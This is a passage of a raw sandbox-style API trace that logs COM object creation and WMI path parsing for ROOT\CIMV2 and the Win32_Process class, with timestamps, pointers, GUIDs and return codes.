[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.034] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.034] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.034] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.036] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbf1e60) returned 0x0 [0133.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.036] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc07e0) returned 0x0 [0133.036] WbemDefPath:IUnknown:Release (This=0x1bbf1e60) returned 0x0 [0133.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc07e0) returned 0x0 [0133.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.037] WbemDefPath:IUnknown:AddRef (This=0x1bbc07e0) returned 0x3 [0133.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbf1ea0) returned 0x0 [0133.037] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1ea0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.037] WbemDefPath:IUnknown:Release (This=0x1bbf1ea0) returned 0x3 [0133.037] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.037] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.037] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x2 [0133.037] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x1 [0133.037] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.037] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc07e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc07e0) returned 0x0 [0133.037] WbemDefPath:IUnknown:AddRef (This=0x1bbc07e0) returned 0x3 [0133.038] WbemDefPath:IUnknown:Release (This=0x1bbc07e0) returned 0x2 [0133.038] WbemDefPath:IWbemPath:SetText (This=0x1bbc07e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0720, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc07e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc07e0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0133.038] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc0720) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc07e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc07e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc07e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0133.038] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0720, uIndex=0x0, pszName="ROOT") returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc07e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc07e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0133.038] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc0720, uIndex=0x1, pszName="CIMV2") returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbc0720, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0133.038] WbemDefPath:IWbemPath:SetClassName (This=0x1bbc0720, Name="Win32_Process") returned 0x0 [0133.038] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0720, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0720, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0720, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0720, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.039] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0133.040] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0133.040] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0133.040] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0720, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0133.040] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0133.040] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0133.040] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0133.040] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.042] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc0e920) returned 0x0 [0133.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0e920, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0133.042] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0e920, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbc08a0) returned 0x0 [0133.042] WbemDefPath:IUnknown:Release (This=0x1bc0e920) returned 0x0 [0133.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbc08a0) returned 0x0 [0133.042] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0133.043] WbemDefPath:IUnknown:AddRef (This=0x1bbc08a0) returned 0x3 [0133.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0133.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0133.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc0e960) returned 0x0 [0133.043] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0e960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.043] WbemDefPath:IUnknown:Release (This=0x1bc0e960) returned 0x3 [0133.043] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0133.043] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0133.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0133.043] WbemDefPath:IUnknown:Release (This=0x1bbc08a0) returned 0x2 [0133.043] WbemDefPath:IUnknown:Release (This=0x1bbc08a0) returned 0x1 [0133.043] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0133.043] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0133.043] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc08a0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbc08a0) returned 0x0 [0133.043] WbemDefPath:IUnknown:AddRef (This=0x1bbc08a0) returned 0x3 [0133.043] WbemDefPath:IUnknown:Release (This=0x1bbc08a0) returned 0x2 [0133.043] WbemDefPath:IWbemPath:SetText (This=0x1bbc08a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.043] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc04e0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0133.043] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0133.043] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc04e0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.044] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0133.044] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0133.044] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0133.044] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.046] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc0e9a0) returned 0x0 [0133.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0e9a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0133.046] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0e9a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0960) returned 0x0 [0133.046] WbemDefPath:IUnknown:Release (This=0x1bc0e9a0) returned 0x0 [0133.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0960) returned 0x0 [0133.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0133.046] WbemDefPath:IUnknown:AddRef (This=0x1bbc0960) returned 0x3 [0133.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0133.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0133.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc0e9e0) returned 0x0 [0133.047] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0e9e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.047] WbemDefPath:IUnknown:Release (This=0x1bc0e9e0) returned 0x3 [0133.047] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0133.047] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0133.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0133.047] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x2 [0133.047] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x1 [0133.047] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0133.047] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0133.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0960, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbc0960) returned 0x0 [0133.047] WbemDefPath:IUnknown:AddRef (This=0x1bbc0960) returned 0x3 [0133.047] WbemDefPath:IUnknown:Release (This=0x1bbc0960) returned 0x2 [0133.047] WbemDefPath:IWbemPath:SetText (This=0x1bbc0960, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc08a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0960, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0960, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0133.047] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbc08a0) returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0960, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.047] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0960, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0960, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0133.048] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc08a0, uIndex=0x0, pszName="root") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0960, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbc0960, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0133.048] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbc08a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0133.048] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbc0960, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0133.048] 